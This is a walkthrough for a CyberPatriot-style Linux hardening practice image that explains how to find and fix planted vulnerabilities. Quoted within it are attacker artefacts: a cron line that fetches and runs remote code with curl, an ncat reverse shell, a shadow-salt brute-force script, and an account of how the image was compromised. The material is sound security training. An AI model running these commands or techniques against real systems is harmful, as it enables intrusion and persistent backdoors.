1984 Walkthrough

Mint 22.3 MATE – Hard – 44 Vulnerabilities
Image Download: https://cypat.s3.us-west-1.amazonaws.com/1984.zip
by Matthias Lee (ml2322)

Vulnerability Categories

Forensics Questions: 4
User Auditing: 6
Account Policies: 4
Local Policies: 6
Defensive Countermeasures: 2
Uncategorized Operating System Settings: 3
Service Auditing: 2
Operating System Updates: 1
Appication Updates: 1
Prohibited Files: 1
Unwanted Software: 1
Malware: 5
Application Security Settings: 8

Sysrecovery

This walkthrough assumes all sysrecovery unrelated to the vulnerability in question has been completed.

Sudo does not work

Upon attempting to use sudo on the machine, you will find that O'Brien does not have access to use sudo. For the reasons described in FQ #3, you can not log in as Charrington to use sudo. Doing `which sudo` shows that you are indeed using the proper binary, /usr/bin/sudo and your PATH has not been tampered with. Running `groups` shows that you are in the sudo group. This indicates that /etc/sudoers must have been tampered with, rendering sudo inoperable.

Sudo, however, is not the only method of privilege escalation. You can also use pkexec, which uses polkit and does not reference /etc/sudoers. Running `pkexec bash` and entering your password in the GUI prompt yields a root shell. From here, you can run `visudo` to safely modify /etc/sudoers. Uncommenting `%admin ALL=(ALL) ALL` and `%sudo ALL=(ALL:ALL) ALL` near the bottom of the file will restore sudo functionality.

Firewall, dovecot, and auditd getting repeatedly disabled

Since these services get disabled precisely every minute, a scheduled task or cron job is likely doing this. If you open /etc/crontab, you will see this:

```
* *    * * *   root    bash /root/downwithbigbrother.sh
```

Opening this file confirms that this is the script that breaks these services. Just removing this line from /etc/crontab, however, does not fix the problem, so the script is likely being run from somewhere else too. As the script is still running every minute, it is likely still in cron, so we can use grep to search all crontabs for this:

```
sudo grep -r '/root/downwithbigbrother.sh' /etc/cron.d
sudo grep -r '/root/downwithbigbrother.sh' /var/spool/cron/crontabs/
```

This gives the following results:

```
/var/spool/cron/crontabs/goldstein1:* * * * * bash /root/downwithbigbrother.sh
/var/spool/cron/crontabs/root:* * * * * bash /root/downwithbigbrother.sh
```

Commenting out these lines in all three files will disable the sabotage script, allowing you to fix these services.

Forensics Questions (4 vulns, 20pts)

Forensics Question 1 – 5pts

We believe one user on this system has been keeping an unauthorized diary, though he hides it well. Who is this user, what is the full path to the diary, and what line does he repeat many times in his first entry?

EXAMPLE: bob
EXAMPLE: /home/bob/Desktop/diary.txt
EXAMPLE: LITERALLY 1984!!!

If you are familiar with *1984*, you will know that the user in question is likely Winston, so checking Winston's files is a good starting point. A diary is likely a text document, but we don't know much else about it. A good starting point is to try using `find` as follows to search for all common text documents:

```
sudo find /home/winston -type f -name "*.txt"
sudo find /home/winston -type f -name "*.pdf"
sudo find /home/winston -type f -name "*.odt"
sudo find /home/winston -type f -name "*.doc"
sudo find /home/winston -type f -name "*.docx"
```

However, this does not return any obvious results. An easy way to hide the diary would be to change the extension, so we should be searching instead by the contents of the file. We can do this as follows with a combination of `find`, `file`, and `grep`:

```
sudo find /home/winston -type f -exec file {} + | grep -E "Text|Document"
```

This command runs `file` on every file in /home/winston and filters for results which contain "Text" or "Document". This gives three results:

```
/home/winston/.linuxmint/mintwelcome/norun.flag:  OpenDocument Text
/home/winston/.config/libreoffice/4/user/database/biblio.odb: OpenDocument Database
/home/winston/.config/libreoffice/4/user/gallery/sg30.sdv: Composite Document File V2 Document, Cannot read section
info
```

The odd result here is /home/winston/.linuxmint/mintwelcome/norun.flag; this is usually an empty system file, not an OpenDocument Text file. We can use `sudo cp` to copy this to the Desktop, where it can be opened with LibreOffice. Here, the answer to the last part of the forensic is obvious: "DOWN WITH BIG BROTHER".

ANSWER: winston
ANSWER: /home/winston/.linuxmint/mintwelcome/norun.flag
ANSWER: DOWN WITH BIG BROTHER

Forensics Question 2 – 5pts

We believe someone broke into this machine with a brute force attack, but he covered his tracks pretty well and we can't find out how he got in. However, we think it was due to an insecure configuration of one of the critical services. What is the name of this service, and what IP address did he attack from?

EXAMPLE: nginx
EXAMPLE: 192.168.0.200

The three critical services on this machine are SFTP (OpenSSH), an SMTP server, and an IMAP/POP3 server. While not impossible, remote access through the latter two services is unlikely compared to the service which intentionally provides remote access, so OpenSSH is a good starting point. Investigating `/etc/ssh/sshd_config` reveals two vulnerable lines at the bottom:

```
ChrootDirectory /
# ForceCommand internal-sftp -d /opt/documents
```

The first is vulnerable, as it permits SFTP access to the root of the machine. The second is vulnerable, as it comments out the statement forcing SFTP login, meaning the service permits shell access. This is not authorized by the readme, meaning the SSH configuration has been tampered with or is insecure, and SSH is the service in question.

To find the attacker's IP, we can look at journalctl logs for SSH:

```
journalctl -u ssh
```

Then, search for "fail", and you will find many authentication failures indicative of a brute force attack from 172.16.164.1.

ANSWER: sshd
ANSWER: 172.16.164.1

The following are accepted for the first part: ssh, SSH openssh, OpenSSH , openssh-server, sshd, SSHD, sftp, SFTP

Forensics Question 3 – 5 pts

A recent cyberattack caused part of /etc/shadow to become corrupted. As a consequence, Charrington can no longer log into the system with his password, `b1gbr0th3r`.

In case it got corrupted further or you changed his password, we have saved his current, broken shadow line here for reference (#'s are corrupted bytes):

6N#zvj7r#4sKD#49t$akqo1rd0.n4B.7IIrIKBwKde74s3bF.dfpD3d0Wdl7jIBGuTnLM1BVLMet7sal9deLemn6JFSBHSCT2Stthk.0

Please recover the full shadow string which will allow Charrington to log in with the password `b1gbr0th3r`. The exact password hash must remain the same. Once you recover this string, please put it in /etc/shadow so Charrington can log in again.

EXAMPLE:
6N6zvj7r74sKDM49t$akqo1rd0.n4B.7IIrIKBwKde74s3bF.dfpD3d0Wdl7jIBGuTnLM1BVLMet7sal9deLemn6JFSBHSCT2Stthk.0

Looking closer at the given string reveals that the three missing bytes are in the salt portion of the hash. Shadow hashes like this are formatted as $(hash type)$(salt)$(hash), where (salt) is added to the password when computing (hash). This means we simply need to brute force these three characters by testing every possible combination of salts when computing the hash to see which one matches. The alphabet used to generate salts being 64 characters long, there are 262144 different combinations of salts which could be used, which is computable in a reasonable amount of time.

The 6 at the start means the hash is an SHA-512-crypt hash. The salt portion of the string is `*N#zvj7r#4sKD#49t*`, and the hash portion is `*akqo1rd0.n4B.7IIrIKBwKde74s3bF.dfpD3d0Wdl7jIBGuTnLM1BVLMet7sal9deLemn6JFSBHSCT2Stthk.0*`. Additionally, we know the actual password is `b1gbr0th3r`. Using this, a simple script can be written to brute force the salt, such as this one in Ruby:

```
password = "b1gbr0th3r"
salt = "$6$N#zvj7r#4sKD#49t"
target = "akqo1rd0.n4B.7IIrIKBwKde74s3bF.dfpD3d0Wdl7jIBGuTnLM1BVLMet7sal9deLemn6JFSBHSCT2Stthk.0"
crypt_chars = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".split("")
# Unknown Indices: 4, 10, 15

crypt_chars.each do |a|
  crypt_chars.each do |b|
    crypt_chars.each do |c|
      salt[4] = a
      salt[10] = b
      salt[15] = c

      if password.crypt(salt).split(?$)[-1] == target
```

```
        puts password.crypt(salt)
        exit
      end
    end
  end
end

puts "Not Found"
```

This gives the following result after a minute or two:

```
$6$NNzvj7rO4sKDK49t$akqo1rd0.n4B.7IIrIKBwKde74s3bF.dfpD3d0Wdl7jIBGuTnLM1BVLMet7sal9deLemn6JFSB
HSCT2Stthk.0
```

ANSWER:
**6NNzvj7rO4sKDK49t$akqo1rd0.n4B.7IIrIKBwKde74s3bF.dfpD3d0Wdl7jIBGuTnLM1BVLMet7sal9deLemn6JF
SBHSCT2Stthk.0**

Forensics Question 4 – 5pts

You used to use a security-focused calculator app that stored its logs by replacing each number with the same letter. It was deleted in a recent cyber attack, but you need to know what the last number you typed in was. We recovered the calculator's log and put it on your desktop in calclog.txt. What was the last number you typed in?

(Credit to Donald Sylwester for this puzzle)

EXAMPLE: 1234567890

The first obvious step here is to look at calclog.txt:

```
--441785261--
INPUT:RED+RED+QUARK
OUTPUT:STORK
--441787547--
INPUT:TUROASEQKD
OUTPUT:TUROASEQKD
```

We can assume from this that we need to find the numerical value of `TUROASEQKD`, which means deducing what number each letter corresponds to. We do know from the first calculation that RED+RED+QUARK = STORK. This can be set up like an addition problem as follows:

```
      R E D
+     R E D
+ Q U A R K
  ___________
= S T O R K
```

You would find a hint similar to this if you decided to look for the lost calculator and stumbled upon security_calculator.py in the trash.
Assuming each number must equal a distinct letter, the addition can be solved like this:

```
    1 2 1
      8 5 0
+     8 5 0
+ 2 9 7 8 6
  ___________
= 3 1 4 8 6
```

This means the value of each letter is as follows:

R 8
E 5
D 0
Q 2
U 9
A 7
K 6
S 3
T 1
O 4

These can be substituted into TUROASEQKD to find the answer.

ANSWER: 1984735260

User Auditing (6 vulns, 12 points)

Prohibited user aaronson removed – 2pts

If you look at the contents of /home, the login screen, or /etc/passwd, you will find an extra user, aaronson, who is not authorized by the readme. Remove him with:

```
sudo deluser aaronson
```

Prohibited user goldstein removed – 2pts

These users are slightly harder to find, as they do not have folders in /home. However, if you look carefully through each line in /etc/passwd, you will find these two (not together):

```
goldstein1:x:0:0:,,,:/tmp:/bin/bash
goldstein:x:1984:1984:Emmanuel Goldstein,,,:/tmp:/bin/bash
```

These users are both unauthorized as they are not in the readme. Additionally, one of them has UID=0, giving it, and therefore the attacker, complete root access to the machine. Remove goldstein with:

```
sudo deluser goldstein
```

To remove goldstein1, delete his entry straight from /etc/passwd, as most tools will prevent you from deleting an account with UID=0.

User julia is not an administrator – 2pts

To ensure only authorized administrators can use sudo, we can check the contents of the sudo group with:

```
getent group sudo
```

This will return:

```
sudo:x:27:obrien,charrington,julia
```

Here we see that julia is an unauthorized sudo user. Remove her with deluser:

```
sudo deluser julia sudo
```

User winston added to suspects group – 2pts

The readme specifies that all suspicious users must be added to the suspects group. Winston, as we found in FQ #1, kept an unauthorized diary, so he should be added with this command:

```
sudo usermod -a -G suspects winston
```

Removed group password on root group – 2pts

Linux contains a feature called group passwords, where if a group has a password, you can use that password to change your GID to said group's GID. This could create a serious vulnerability if a critical group like root could be accessed in this manner. To check for this, look in /etc/ghadow (you need sudo to view this file). You will find the following at the top:

```
root:$6$hkJh7HtHUM2nF3KZ$L03ZN0wzjBqeC8xeL3V4sGbCqivmgeGPrq2PraVqZ35z4/
HHTrX06GonSp2aRV0orhmKbctG/5sqOeMhgV8Hp/::
```

This means root has a password, and someone with the password could access the root account with `newgrp root`. Remove root's group password with `gpasswd`:

```
sudo gpasswd -r root
```

Fixed shadow authentication for user charrington – 2pts

See FQ #3

After completing FQ #3, we found Charrington’s full shadow hash:

```
$6$NNzvj7rO4sKDK49t$akqo1rd0.n4B.7IIrIKBwKde74s3bF.dfpD3d0Wdl7jIBGuTnLM1BVLMet7sal9deLemn6JFSBHSCT2Stthk.0
```

The forensic specifies we should put this back in /etc/shadow. We can do this with `usermod`:

```
sudo usermod -p '$6$NNzvj7rO4sKDK49t$akqo1rd0.n4B.7IIrIKBwKde74s3bF.dfpD3d0Wdl7jIBGuTnLM1BVLMet7sal9deLemn6JFSBHSCT2Stthk.0' charrington
```

Account Policies (4 vulns, 8 points)

A default minimum password age is set – 2pts

Setting a minimum password age is good security practice and can be done by setting the following in /etc/login.defs:

```
PASS_MIN_DAYS   14
```

Previous passwords are remembered – 2pts

Remembering previous passwords is good to ensure passwords aren't repeated. This can be done by appending `remember=12` or any other number to the `pam_unix.so` line in /etc/pam.d/common-password:

```
password        [success=1 default=ignore]      pam_unix.so obscure yescrypt rem
ember = 12
```

Extra dictionary-strength checks enabled – 2pts

Dictionary strength checks ensure that passwords do not contain common words. This can be enabled by adding the following `pam_pwquality.so` line in /etc/pam.d/common-password:

```
password requisite pam_pwquality.so dictcheck=1
```

Root account is locked or disabled – 2pts

The root account being unlocked makes it easier to potentially gain access to this account, so locking the root account is always good practice. Do this with usermod:

```
sudo usermod -L root
```

Local Policies (6 vulns, 12 points)

All changes to sysctl settings must be applied with `sysctl --system` before taking effect and being scored.

Kernel pointers hidden from all users – 2pts

Set this in /etc/sysctl.conf:

```
kernel.kptr_restrict = 2
```

Ignore broadcast ICMP echo requests emabled – 2pts

Set this in /etc/sysctl.conf:

```
net.ipv4.icmp_echo_ignore_broadcasts = 1
```

Restrict access to unprivileged kernel syslog enabled – 2pts

Set this in /etc/sysctl.conf:

```
kernel.dmesg_restrict = 1
```

IPv4 TCP SYN cookies have been enabled – 2pts

Set this in /etc/sysctl.conf:

```
net.ipv4.tcp_syncookies = 1
```

Address space layout randomization enabled – 2pts

Set this in /etc/sysctl.conf:

```
kernel.randomize_va_space = 2
```

IPv4 forwarding has been disabled – 2pts

Set this in /etc/sysctl.conf:

```
net.ipv4.ip_forward = 0
```

Defensive Countermeasures (2 vulns, 4 points)

Firewall is enabled – 2pts

Enable UFW with the following commands:

```
sudo systemctl enable ufw
sudo systemctl start ufw
sudo ufw enable
```

Auditd is enabled – 2pts

If you look through the installed APT packages or systemctl services, you will find that auditd is installed on the system. This is not mentioned in the readme, but the readme does say that preinstalled security tools not mentioned there should be functional. This means we should ensure auditd is running properly. Do this with `systemctl`:

```
sudo systemctl enable auditd
sudo systemctl start auditd
```

Uncategorized Operating System Settings (3 vulns, 6 points)

Removed extra SFTP key from Julia – 2pts

The readme specifies that only password authentication should be used. We therefore should ensure no users have an SFTP key. We can do this by checking for an `authorized_keys` or `authorized_keys2` file with find:

```
sudo find /home -name "authorized_keys"
sudo find /home -name "authorized_keys2"
```

This gives the following result:

```
/home/julia/.ssh/authorized_keys
```

Remove this with `rm`:

```
sudo rm /home/julia/.ssh/authorized_keys
```

Removed malicious FACL from /usr/bin/sudo – 2pts

You can find this by checking FACL's on critical system files like this:

```
getfacl -p /usr/bin/sudo
```

This shows the following:

```
user:goldstein:rwx
```

or

```
user:1984:rwx (if you already deleted goldstein)
```

This gives goldstein the ability to modify a setuid binary, which is very dangerous. Resolve this with `setfacl`:

```
sudo setfacl -b /usr/bin/sudo
```

Required ports are open and accepting connections – 2pts

All critical services should be functional and reachable. The first step to ensure this is to turn them on with systemctl:

```
sudo systemctl enable mlsmtpd
sudo systemctl start mlsmtpd

sudo systemctl enable dovecot
sudo systemctl start dovecot

sudo systemctl enable ssh
sudo systemctl start ssh
```

However, the services may not still be accessible, which you can test by trying to use them, hinting that connections are being dropped by a firewall or by IPtables. All IPtables DROP configurations can be viewed like this:

```
sudo iptables -n -L --line-numbers | grep DROP | less
```

This shows many lines like this:

```
1    DROP       6    --  0.0.0.0/0            0.0.0.0/0           tcp dpt:25
2    DROP       6    --  0.0.0.0/0            0.0.0.0/0           tcp dpt:143
3    DROP       6    --  0.0.0.0/0            0.0.0.0/0           tcp dpt:587
```

These IPtables rules can be cleared like this:

```
sudo iptables -F
```

Now, to ensure everything is accessible, we can enable all of these ports with UFW:

```
sudo ufw allow ssh

sudo ufw allow smtp
sudo ufw allow smtps
sudo ufw allow submission

sudo ufw allow imap
sudo ufw allow imaps
```

Finally, in case the check still hasn’t scored, reboot the system to ensure everything takes effect. This is scored by checking if ports 25, 143, and 587 are reachable.

Service Auditing (2 vulns, 4 points)

Dovecot is enabled – 2pts

Using `systemctl` to check all services, you will find that Dovecot has been stopped and disabled. To fix this, start and enable it:

```
sudo systemctl enable dovecot
sudo systemctl start dovecot
```

You will already have this completed if you got “Required ports are open and accepting connections”

Vsftpd services has been stopped or disabled – 2pts

Check which services are enabled with `systemctl`:

```
systemctl list-unit-files --type=service --state=enabled
```

Here, you will see the following:

```
vsftpd.service                enabled enabled
```

This is not an authorized service. Stop and disable it with `systemctl`:

```
sudo systemctl stop vsftpd
sudo systemctl disable vsftpd
```

Operating System Updates (1 vuln, 2 points)

The update manager installs updates automatically – 2pts

Set this in Update Manager. Go to Edit > Preferences > Automation and enable “Apply updates automatically”. Alternatively, you can do this manually by creating a flag file:

```
sudo touch /var/lib/linuxmint/mintupdate-automatic-upgrades-enabled
```

Application Updates (1 vuln, 2 points)

Ruby is held with apt – 2pts

The readme specifies that Ruby is not to be updated, and this should be enforced with apt. This can be done by using apt's hold feature:

```
sudo apt-mark hold ruby
```

Prohibited Files (1 vuln, 2 points)

Removed Winston's diary – 2pts

See FQ #1

After completing FQ #1, you know where Winston's diary is. This is unauthorized, so you should remove it:

```
sudo rm /home/winston/.linuxmint/mintwelcome/norun.flag
```

This check still scores if the file is present but contains zero charcters (points will not be lost if the file serves its intended purpose).

Unwanted Software (1 vuln, 2 points)

Removed prohibited software kmines – 2pts

The readme says non-work related stuff is prohibited. Checking the start menu's games tab shows that KMines is installed. Remove it with `apt`:

```
sudo apt purge kmines
```

Malware (5 vulns, 10 points)

Removed malicious cron line – 2pts

If you check /etc/crontab, you will see the following:

```
21 *    * * *   root    bash -c "$(curl -s 172.16.164.1:8000)"
```

This line arbitrarily runs code pulled from an attacker's machine every hour. Remove or comment out this line.

Removed malicious MLSMTP plugin – 2pts

If you check the MLSMTP configuration in /opt/mlsmtpd/conf/default.json, you will see this at the bottom:

```
"additional_requires": [
    "/var/lib/gems/3.2.0/gems/mlsmtp-0.0.1/lib/mlsmtp/authentication/message_security_header.rb"
]
```

Since it wasn't included by default, it's probably a good idea to check this file out. If you open it, you will see that it exfiltrates emails to the attacker's IP. To resolve this, first remove the file:

```
sudo rm /var/lib/gems/3.2.0/gems/mlsmtp-0.0.1/lib/mlsmtp/authentication/message_security_header.rb
```

Then, remove the following references to this header in the config file:

```
"MessageAuthorization": "SMTPServer::MessageAuthorization::MessageSecurityHeader"
```

and

```
"additional_requires": [
    "/var/lib/gems/3.2.0/gems/mlsmtp-0.0.1/lib/mlsmtp/authentication/message_security_header.rb"
]
```

Leave the blank additional_requires section, just remove its contents

Removed ncat backdoor – 2pts

If you check the status of all critical services with `systemctl`, eventually you will find the following when checking mlsmtpd:

```
CGroup: /system.slice/mlsmtpd.service
    ├─1188 bash -ic "ncat 172.16.164.1 1984 --exec /bin/bash & mlsmtpd --conf=/opt/mlsmtpd/conf/default.json"
```

Here we see that the mlsmtpd service contains an ncat reverse shell. To remove this, we need to edit the service file. To find this, run `file` on the service file listed in the output:

```
file /etc/systemd/system/mlsmtpd.service
```

This returns:

```
/etc/systemd/system/mlsmtpd.service: symbolic link to /opt/mlsmtpd/mlsmtpd.service
```

We can open this file up and see the ExecStart line:

```
ExecStart=bash -ic "ncat 172.16.164.1 1984 --exec /bin/bash & mlsmtpd –conf=/opt/mlsmtpd/conf/default.json"
```

Remove the ncat backdoor from this and save the file:

```
ExecStart=bash -ic "mlsmtpd –conf=/opt/mlsmtpd/conf/default.json"
```

Removed sabotage script – 2pts

See "Firewall, dovecot, and auditd getting repeatedly disabled"
Even if removed from cron, this script, /root/downwithbigbrother.sh, is still malware and should be removed:

```
sudo rm /root/downwithbigbrother.sh
```

Removed terminalgoose – 2pts

If you have tried to use `ls`, you will notice that a goose walks across your terminal before files are listed. However, calling `ls` directly by running `/usr/bin/ls` works fine. This indicates that `ls` is aliased to something else. Running `alias` to see all aliases shows the following:

```
alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\"s/^\
s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\")"'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -alF'
alias ls='bash /bin/goose/terminalgoose.sh; /bin/ls --color=auto'
```

We now know that the goose is stored in /bin/goose. Remove this directory and optionally remove this from ~/.bashrc to avoid error messages:

```
sudo rm -r /bin/goose
```

Application Security Settings (8 vulns, 16 points)

MLSMTP commands EXPN and VRFY are disabled – 2pts

These two commands, EXPN and VRFY, can expose user information, compromising security and confidentiality. Disable them by setting the following in /opt/mlsmtpd/conf/default.json:

```
"disable_commands": [
        "EXPN",
        "VRFY"
]
```

MLSMTP TLS is enabled on appropriate ports – 2pts

/opt/mlsmtpd/conf/default.json contains the following server configuration:

```
{
  "host": "0.0.0.0",
  "port": 465,
  "encryption": "none",
  "certificate": "default",
  "autostart": true
}
```

This disables encryption on port 465. However, Port 465 is traditionally used for Implicit TLS connections. Therefore, `encryption` needs to be changed to `implicit` like this:

```
{
  "host": "0.0.0.0",
  "port": 465,
  "encryption": "implicit",
  "certificate": "default",
  "autostart": true
}
```

MLSMTP queue workers is not set to zero – 2pts

/opt/mlsmtpd/conf/default.json contains the following queue configuration:

```
"queue": {
  "workers": {
    "amount": 0,
    "restart_delay": 0.2
  },
  "queued_mail_dir": "data/queued_mail",
  "remove_on_unqueue": true,
  "return_queue_ids": true
}
```

This configuration specifies the server should run zero queue workers. This means that emails will never be delivered. Set queue.workers.amount to 1 or greater to resolve this:

```
"queue": {
  "workers": {
    "amount": 1,
    "restart_delay": 0.2
  },
  "queued_mail_dir": "data/queued_mail",
  "remove_on_unqueue": true,
  "return_queue_ids": true
}
```

Dovecot SSL is required – 2pts
The readme specifies all services should be as secure as possible. For Dovecot, this means forcing SSL. This can be done by setting the following in /etc/dovecot/conf.d/10-ssl.conf:

```
ssl = required
```

Dovecot debug passwords disabled – 2pts
Dovecot's /etc/dovecot/conf.d/10-auth.conf contains the following:

```
auth_debug_passwords = yes
```

This makes Dovecot log plaintext passwords, which is very insecure. Delete the line or change it to read:

```
auth_debug_passwords = no
```

Firefox OCSP is not disabled – 2pts
OCSP enables Firefox to check if a certificate has been revoked, preventing compromised certificates from being used. Re-enable it by setting the following in `about:config`:

```
security.OCSP.enabled = 1
```

SSH forces SFTP – 2pts
The readme only permits OpenSSH to host an SFTP server, not raw SSH login. You can force SFTP by adding the following to /etc/ssh/sshd_config:

```
ForceCommand internal-sftp
```

SFTP chroots to /opt/documents – 2pts
/etc/ssh/sshd_config contains the following:

```
ChrootDirectory /
# ForceCommand internal-sftp -d /opt/documents
```

This shows that SFTP is chrooted to the root directory, and that previously, when SFTP was forced, the directory was only a default. This means that you could do `cd ..` and traverse the entire filesystem through SFTP. To ensure only /opt/documents is accessible, set the following:

```
ChrootDirectory /opt/documents
```

Penalties (8 penalties, -5 points each)

Ruby is uninstalled
Firefox is uninstalled
Jq is uninstalled
LibreOffice is uninstalled
Ruby version has been changed
MLSMTP is stopped or disabled
One or more authorized administrators have been removed
One or more authorized users have been removed

Testing

If everything is configured correctly, any user should be able to send an email to any other user @oceania.local (e.g. winston@oceania.local), and the email should show up in Thunderbird when logging in as that other user. Thunderbird is already properly configured for every user. Additionally, all users should be able to log into SFTP and access one of the four directories in /opt/documents, depending on which ministry group they belong to.

Passwords

Winston: BBD0ubl3P1usG0od
Charrington: b1gbr0th3r
Regular users: User1! (e.g. Winston1!, Syme1!)
goldstein, goldstein1: downwithbigbrother
root group: Fahrenheit451

Attack Scenario

In order to make the image more realistic, I intentionally left it vulnerable to a legitimate attack, and this is how all malware and vulnerabilities were added.

SFTP was originally misconfigured to chroot to /, only setting /opt/documents as the default directory. This meant that I could, after brute forcing Charrington's SFTP login, get access to /home/charrington. Here, I uploaded a new ~/.bashrc which piped Charrington's password into sudo -S, allowing me to run sed to enable SSH shell login, and to restart sshd. This executed once Charrington opened his terminal.

Then, I SSH'd in as Charrington, created the goldstein accounts, and planted the rest of the vulnerabilities.